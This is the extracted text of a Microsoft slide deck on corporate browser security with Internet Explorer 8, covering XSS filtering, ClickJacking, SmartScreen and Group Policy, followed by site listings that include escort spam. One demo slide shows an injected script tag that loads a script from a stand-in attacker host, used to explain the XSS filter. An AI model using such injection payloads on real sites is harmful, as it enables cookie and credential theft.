SlideShare a Scribd company logo
1 of 39
Seguridad Corporativa con Internet Explorer 8 Alejandro Ponicke aponicke@microsoft.com Juan Ladetto juanl@microsoft.com
Agenda Evolución de Internet Explorer. Historia. El Browser como puerta de entrada a las amenazas que pululan en Internet, navegación responsable. Cross-side scripting (XSS exploits), ClickJacking y SmartScreen filtering. La mejor ayuda desde el lugar menos pensado: El poder de GroupPolicies controlando IE. Optimización de deployment. Recomendaciones. Extensibilidad: Caso de Uso “IE forKids”. Introducción a IEAK. Usos.
Evolución de Internet Explorer Internet Explorer 1 – 15 de Agosto 1995 Parte de Microsoft Plus (Internet Jumpstart Kit in Plus!) - Internet Explorer 1.5 sale unosmesesmástarde y soporta rendering de tablas Internet Explorer 2 – 22 de Noviembre 1995 Ahorasoporta SSL, cookies, VRML, newsgroups Internet Explorer 3 – 13 de Agosto 1996 Se empieza a volver popular, el primer browser en soportarcss, se agrega java y controlesactiveX, sale con otrosagregados: mail y news, netmeeting y adreess Book (internet y los browsers empiezan a serblanco de los hackers Internet Explorer 4 – 17 de Setiembre 1997 Se adapta al SO y ahora con windows desktop update y convierte a windows desktop en Active desktop. Ahorasoporta group policy, internet mail esoutook express y ahoratambién sale con MS chat
Evolución de Internet Explorer Internet Explorer 5 – 18 de Marzo 1999 Incluído en windows 98 SE, ahorasoporta bidirectional text, xml, xlt, caracteres ruby , textobidireccional, mhtml y lo mejor de todonaceajax (xmlhttprequest), últimaversiónpara mac y unix Ie 5.5 agregassl de 128 bits, mejoras en printing, html y css compatible con estándares
Pregunta ¿CuándoSalio Internet Explorer 6?
Evolución de Internet Explorer Internet Explorer 6 – 27 de Agosto 2001 Mejoras en DHTML, inline frames, soporteparcialparacss 1, dom 1 y SMIL 2.0, ieak (ahora se puedecustomizar) En 2010 se acaba el soporte de estaversión Internet Explorer 7 – 18 de Octubre 2006 Mejoras en los estándares web, navegaciónpor tabs, search, filtroantiphishing y variasmás Internet Explorer 8 – 19 de Marzo 2009 Seguridad, facilidad de acceso, estándares, rss, css y ajaxes la prioridad. motores de rendering (ie7) Internet Explorer 9 - ???
Arquitectura de ie8
Evolution & Change Web 2.0 - significant benefits & challenges Blended threats shifting from the browser Decreasing consumer trust and confidence Data Governance & Regulations Privacy & User Preferences Rapid pace of threat innovation Organized Crime On The Rise Spy Corp Data & National Interest Personal Gain Thief / Organized International Crime Personal Fame Curiosity Vandal Amateur Expert Specialist Script-Kiddy
Security by the Numbers Perception vs. reality
Top Concerns Top User Concerns Protection from intrusions Protection from harm Control on data / privacy Business Concerns Data governance / corporate IP Business Interruption / productivity Impact to brand on consumer confidence
Internet Explorer 8 Trustworthy Browsing  Build on a secure foundation Security Development Lifecycle (SDL) Protected Mode ActiveX Controls DEP - Data Execution Prevention Browser Vulnerabilities Extends browser protection to the web server  Http only cookies Group Policies XDomainRequest - Cross Domain Requests XDM - Cross Domain Messaging XSS Filter - Cross Site Scripting ClickJacking Defense Web Server & Applications Confidently bank, communicate & shop Extended Validation (EV) SSL Certificates  SmartScreen® Filter – Blocks Phishing & Malware  Domain Highlighting Enhanced Delete Browsing History  InPrivate™ Browsing & Blocking Social Engineering & Privacy IE 7, IE 8
Browser Vulnerabilities
Browser Vulnerabilities ActiveX Hardening  & Enhancements  Can it be used? Opt –in Is control permitted to run in browser without prompt? IE7 Exploit Controls ActiveX Killbits  Has control been flagged as unsafe? IE5 Where? Per site Is control permitted to run on this site? IE8
Browser Vulnerabilities ActiveX Hardening  & Enhancements  Doesn’t require users to have admin privileges to install Can be disabled through Group Policy Who? Per User Doesn’t req. elevating admin privileges
Web Server & Applications
Web Server & Applications Secure data exchangeCross Domain Communication SameOrigin Policy Permits scripts running on pages originating from the same site to access each other's methods and properties with no specific restrictions — but prevents access to most methods and properties across pages on different sites. Workarounds can be dangerous & costly
Web Server & Applications Secure data exchangeInvestments in securing Web 2.0 Cross Domain Request (XDomainRequest)  Enables web developers to more securely communicate between domains Provides a mechanism to establish trust between domains through an explicit acknowledgement of sharing cross domain, and both parties know which sites are sharing information Proposed to W3C for standardization Cross Document Messaging (XDM) Enables two domains to establish a trust relationship to exchange object messages Provides a web developer a more secure mechanism to build cross domain communication Part of the HTML5 specification
Web Server & Applications XSS Exploits The new buffer overflow; steal cookies & history Log keystrokes Deface sites Steal credentials  XSS Filter neuters the attack Blocks the malicious script from executing Port-scan the Intranet Abuse browser/AX vulnerabilities Evade phishing filters Circumvent HTTPS
XSS Demo demo  Web Server & Applications
Web Server & Applications Behind The Scenes… Malicious URL in email contains encoded string:http://www.woodgrovebank.co.uk/woodgrovebank.asp?SID=%22%3E%3C%73%63%72... Vulnerable application adds <script> tag to page:<script for=window event=onloadsrc="http://hackersite.ie8demos.com/snoop.js"> </script> Generated Signature: <SC{R}IPT¤src¤¤http¤¤¤hackersite¤ie8demos¤com¤snoop¤js¤> Neutered Script: <SC#IPT src=http://hackersite.ie8demos.com/snoop.js>
Web Server & Applications ClickJacking Type of Cross Site Request Forgery Entices users to click on content from another domain without the user realizing it.   Evolving server exploit Impacts all browsers, only IE 8 has integrated protection capabilities  Add an X-FRAME-OPTIONS tag in either the HTTP header. Deny all or allow from SameOrigin hosts
Web Server & Applications ClickJacking
Social Engineering & Privacy
Social Engineering  & Privacy Microsoft Confidential – NDA Only
Social Engineering  & Privacy Perhaps a more effective warning?
Social Engineering  & Privacy EV SSL CertificatesLook for the Green Provides consumers added user confidence and brands enhanced protection Implemented by over 10,000 leading commerce, banking and transactional sites
Social Engineering  & Privacy Domain Highlighting Helps to more accurately ascertain the domain of the site they are visiting The domain is black, vs. other characters which are gray
Social Engineering  & Privacy SmartScreen™ Filteroffering dynamic protection from Phishing Malware
SmartScreen DemoPhishing & Malware demo  Social Engineering  & Privacy
User Choice & Control  Social Engineering  & Privacy Delete Browsing History InPrivate Browsing InPrivate Filtering
Social Engineering  & Privacy Delete Browsing History New option to Delete Browsing History while retaining favorites
Social Engineering  & Privacy Third Party Content Serving Over time, users’ history and profiles can unknowingly be aggregated Any third-party content can be used like a tracking cookie There is little end-user notification or control today Syndicated photos, weather, stocks, news articles; local analytics, etc….  Unclear accountability with third party security & privacy policies Tailspintoys.com Woodgrovebank.com Farbrikan.com Southridge1-1.com Litware-bulk.com adventureworks.com Northwintd.com Contoso.com User Visits Unique Sites Prosware-sol.com 3rd party Syndicator Web server
InPrivate Demo demo  Social Engineering  & Privacy
AdministracionCentralizadausandopolíticas de grupo
Implementando IE8 ,[object Object]
Group Policy.
Windows Update.

More Related Content

What's hot

Security Theatre (PHP Leuven)
Security Theatre (PHP Leuven)Security Theatre (PHP Leuven)
Security Theatre (PHP Leuven)xsist10
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Oles Seheda
 
Testing Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionTesting Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionJose Manuel Ortega Candel
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for DevelopersMike North
 
Venkasure Antivirus + Internet Security
Venkasure Antivirus + Internet SecurityVenkasure Antivirus + Internet Security
Venkasure Antivirus + Internet Securityvenkasureantivirus
 
Spikes Security Isla Isolation
Spikes Security Isla IsolationSpikes Security Isla Isolation
Spikes Security Isla IsolationCybryx
 
Adobe Hacked Again: What Does It Mean for You?
Adobe Hacked Again: What Does It Mean for You? Adobe Hacked Again: What Does It Mean for You?
Adobe Hacked Again: What Does It Mean for You? Lumension
 
Android Security Development
Android Security DevelopmentAndroid Security Development
Android Security Developmenthackstuff
 
Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2drewz lin
 
Security Theatre - PHP UK Conference
Security Theatre - PHP UK ConferenceSecurity Theatre - PHP UK Conference
Security Theatre - PHP UK Conferencexsist10
 
Security Theatre - Benelux
Security Theatre - BeneluxSecurity Theatre - Benelux
Security Theatre - Beneluxxsist10
 
Browser Compete - IE8 FireStarter
Browser Compete - IE8 FireStarterBrowser Compete - IE8 FireStarter
Browser Compete - IE8 FireStarterMithun T. Dhar
 
Android Security & Penetration Testing
Android Security & Penetration TestingAndroid Security & Penetration Testing
Android Security & Penetration TestingSubho Halder
 
Android Security
Android SecurityAndroid Security
Android SecurityLars Jacobs
 
Security Theatre - AmsterdamPHP
Security Theatre - AmsterdamPHPSecurity Theatre - AmsterdamPHP
Security Theatre - AmsterdamPHPxsist10
 
Android Device Hardening
Android Device HardeningAndroid Device Hardening
Android Device Hardeninganupriti
 

What's hot (20)

Security Theatre (PHP Leuven)
Security Theatre (PHP Leuven)Security Theatre (PHP Leuven)
Security Theatre (PHP Leuven)
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
 
Testing Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionTesting Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam edition
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for Developers
 
Ransomware 0 admins 1
Ransomware 0 admins 1Ransomware 0 admins 1
Ransomware 0 admins 1
 
Venkasure Antivirus + Internet Security
Venkasure Antivirus + Internet SecurityVenkasure Antivirus + Internet Security
Venkasure Antivirus + Internet Security
 
Spikes Security Isla Isolation
Spikes Security Isla IsolationSpikes Security Isla Isolation
Spikes Security Isla Isolation
 
Adobe Hacked Again: What Does It Mean for You?
Adobe Hacked Again: What Does It Mean for You? Adobe Hacked Again: What Does It Mean for You?
Adobe Hacked Again: What Does It Mean for You?
 
Android Security Development
Android Security DevelopmentAndroid Security Development
Android Security Development
 
Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2
 
Security Theatre - PHP UK Conference
Security Theatre - PHP UK ConferenceSecurity Theatre - PHP UK Conference
Security Theatre - PHP UK Conference
 
Security Theatre - Benelux
Security Theatre - BeneluxSecurity Theatre - Benelux
Security Theatre - Benelux
 
Browser Compete - IE8 FireStarter
Browser Compete - IE8 FireStarterBrowser Compete - IE8 FireStarter
Browser Compete - IE8 FireStarter
 
Secure webdev 3.0
Secure webdev 3.0Secure webdev 3.0
Secure webdev 3.0
 
Android Security & Penetration Testing
Android Security & Penetration TestingAndroid Security & Penetration Testing
Android Security & Penetration Testing
 
Bulletproof IT Security
Bulletproof IT SecurityBulletproof IT Security
Bulletproof IT Security
 
Android Security
Android SecurityAndroid Security
Android Security
 
Security Theatre - AmsterdamPHP
Security Theatre - AmsterdamPHPSecurity Theatre - AmsterdamPHP
Security Theatre - AmsterdamPHP
 
Android Device Hardening
Android Device HardeningAndroid Device Hardening
Android Device Hardening
 
Windows 8 Security Free eBook
Windows 8 Security Free eBookWindows 8 Security Free eBook
Windows 8 Security Free eBook
 

Similar to Seguridad Corporativa con IE8

Browser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliBrowser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliVannaSchrader3
 
Browsers .
Browsers .Browsers .
Browsers .seripa3
 
New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)msz
 
Trabajo de jose
Trabajo de jose Trabajo de jose
Trabajo de jose josemgg
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp dotnetcode
 
Internet browsers by Andres Haydar
Internet browsers by Andres HaydarInternet browsers by Andres Haydar
Internet browsers by Andres HaydarAndresHaydar
 
Web browser and Security Threats
Web browser and Security ThreatsWeb browser and Security Threats
Web browser and Security ThreatsHTS Hosting
 
Internet explorer mobile 6
Internet explorer mobile 6Internet explorer mobile 6
Internet explorer mobile 6Ralph Vaz
 
Moving The Web Forward (Chris Wilson WDS 2007 Keynote)
Moving The Web Forward (Chris Wilson WDS 2007 Keynote)Moving The Web Forward (Chris Wilson WDS 2007 Keynote)
Moving The Web Forward (Chris Wilson WDS 2007 Keynote)Chris Wilson
 
New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)msz
 
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...Start Pad
 
Advances inbrowsersecurity
Advances inbrowsersecurityAdvances inbrowsersecurity
Advances inbrowsersecurityAnil Saldanha
 
Segurdad de red para la generacion de la nube symantec
Segurdad de red para la generacion de la nube symantecSegurdad de red para la generacion de la nube symantec
Segurdad de red para la generacion de la nube symantecCSA Argentina
 
The Evil Friend in Your Browser
The Evil Friend in Your BrowserThe Evil Friend in Your Browser
The Evil Friend in Your BrowserAchim D. Brucker
 
Web Browser
Web BrowserWeb Browser
Web Browsermandeag
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 

Similar to Seguridad Corporativa con IE8 (20)

Browser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliBrowser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1Outli
 
Browsers .
Browsers .Browsers .
Browsers .
 
Browsers
BrowsersBrowsers
Browsers
 
Browsers
BrowsersBrowsers
Browsers
 
Browsers
BrowsersBrowsers
Browsers
 
New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)
 
Trabajo de jose
Trabajo de jose Trabajo de jose
Trabajo de jose
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
 
Internet browsers by Andres Haydar
Internet browsers by Andres HaydarInternet browsers by Andres Haydar
Internet browsers by Andres Haydar
 
Web browser and Security Threats
Web browser and Security ThreatsWeb browser and Security Threats
Web browser and Security Threats
 
Internet explorer mobile 6
Internet explorer mobile 6Internet explorer mobile 6
Internet explorer mobile 6
 
Moving The Web Forward (Chris Wilson WDS 2007 Keynote)
Moving The Web Forward (Chris Wilson WDS 2007 Keynote)Moving The Web Forward (Chris Wilson WDS 2007 Keynote)
Moving The Web Forward (Chris Wilson WDS 2007 Keynote)
 
New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)
 
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
 
Advances inbrowsersecurity
Advances inbrowsersecurityAdvances inbrowsersecurity
Advances inbrowsersecurity
 
Segurdad de red para la generacion de la nube symantec
Segurdad de red para la generacion de la nube symantecSegurdad de red para la generacion de la nube symantec
Segurdad de red para la generacion de la nube symantec
 
The Evil Friend in Your Browser
The Evil Friend in Your BrowserThe Evil Friend in Your Browser
The Evil Friend in Your Browser
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Web Browser
Web BrowserWeb Browser
Web Browser
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 

More from Microsoft Argentina y Uruguay [Official Space]

More from Microsoft Argentina y Uruguay [Official Space] (20)

CodeCamp 2010 | Diez formas de escribir código (in)seguro
CodeCamp 2010 | Diez formas de escribir código (in)seguroCodeCamp 2010 | Diez formas de escribir código (in)seguro
CodeCamp 2010 | Diez formas de escribir código (in)seguro
 
CodeCamp 2010 | Efectos especiales con Silverlight
CodeCamp 2010 | Efectos especiales con SilverlightCodeCamp 2010 | Efectos especiales con Silverlight
CodeCamp 2010 | Efectos especiales con Silverlight
 
CodeCamp 2010 | FBI- Fácil Business Intelligence
CodeCamp 2010 | FBI- Fácil Business IntelligenceCodeCamp 2010 | FBI- Fácil Business Intelligence
CodeCamp 2010 | FBI- Fácil Business Intelligence
 
CodeCamp 2010 | Hyper-V en Windows Server 2008 R2 e interoperabilidad con Linux
CodeCamp 2010 | Hyper-V en Windows  Server 2008 R2 e interoperabilidad con LinuxCodeCamp 2010 | Hyper-V en Windows  Server 2008 R2 e interoperabilidad con Linux
CodeCamp 2010 | Hyper-V en Windows Server 2008 R2 e interoperabilidad con Linux
 
CodeCamp 2010 | Productividad mas allá de la velocidad de tus dedos (cazzulin...
CodeCamp 2010 | Productividad mas allá de la velocidad de tus dedos (cazzulin...CodeCamp 2010 | Productividad mas allá de la velocidad de tus dedos (cazzulin...
CodeCamp 2010 | Productividad mas allá de la velocidad de tus dedos (cazzulin...
 
CodeCamp 2010 | Un paseo por WCF 4.0
CodeCamp 2010 | Un paseo por WCF 4.0CodeCamp 2010 | Un paseo por WCF 4.0
CodeCamp 2010 | Un paseo por WCF 4.0
 
CodeCamp 2010 | Desarrollo de videojuegos fuera de control
CodeCamp 2010 | Desarrollo de videojuegos fuera de controlCodeCamp 2010 | Desarrollo de videojuegos fuera de control
CodeCamp 2010 | Desarrollo de videojuegos fuera de control
 
CodeCamp 2010 | Recorriendo ocs 2010
CodeCamp 2010 | Recorriendo ocs 2010CodeCamp 2010 | Recorriendo ocs 2010
CodeCamp 2010 | Recorriendo ocs 2010
 
Novedades de vs 2010 y net 40
Novedades de vs 2010 y net 40Novedades de vs 2010 y net 40
Novedades de vs 2010 y net 40
 
Run 2 0 keynote azure
Run 2 0 keynote azureRun 2 0 keynote azure
Run 2 0 keynote azure
 
Run 20 Track SQL Server
Run 20 Track SQL ServerRun 20 Track SQL Server
Run 20 Track SQL Server
 
Run 20 programando sobre sharepoint 2010
Run 20 programando sobre sharepoint 2010Run 20 programando sobre sharepoint 2010
Run 20 programando sobre sharepoint 2010
 
(25.03) RUN 09 - Sesiones Desarrollo - SI 2.0
(25.03) RUN 09 - Sesiones Desarrollo - SI 2.0(25.03) RUN 09 - Sesiones Desarrollo - SI 2.0
(25.03) RUN 09 - Sesiones Desarrollo - SI 2.0
 
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Visión técnica
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Visión técnica(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Visión técnica
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Visión técnica
 
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Services 3
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Services 3(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Services 3
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Services 3
 
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Moss
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Moss(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Moss
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Moss
 
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Mapa De Ruta
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Mapa De Ruta(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Mapa De Ruta
(28.04) MOSSCA Invita - Bienvenidos a la casa de Sharepoint - Mapa De Ruta
 
(27.05) MOSSCA Invita - Búsqueda empresarial 2
(27.05) MOSSCA Invita - Búsqueda empresarial 2(27.05) MOSSCA Invita - Búsqueda empresarial 2
(27.05) MOSSCA Invita - Búsqueda empresarial 2
 
(27.05) MOSSCA Invita - Búsqueda empresarial 1
(27.05) MOSSCA Invita - Búsqueda empresarial 1(27.05) MOSSCA Invita - Búsqueda empresarial 1
(27.05) MOSSCA Invita - Búsqueda empresarial 1
 
(25.03) RUN 09 - Sesiones Desarrollo - Azure Live
(25.03) RUN 09 - Sesiones Desarrollo - Azure Live(25.03) RUN 09 - Sesiones Desarrollo - Azure Live
(25.03) RUN 09 - Sesiones Desarrollo - Azure Live
 

Recently uploaded

Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAndikSusilo4
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetHyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetEnjoy Anytime
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 

Recently uploaded (20)

Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & Application
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
The transition to renewables in India.pdf
The transition to renewables in India.pdfThe transition to renewables in India.pdf
The transition to renewables in India.pdf
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetHyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
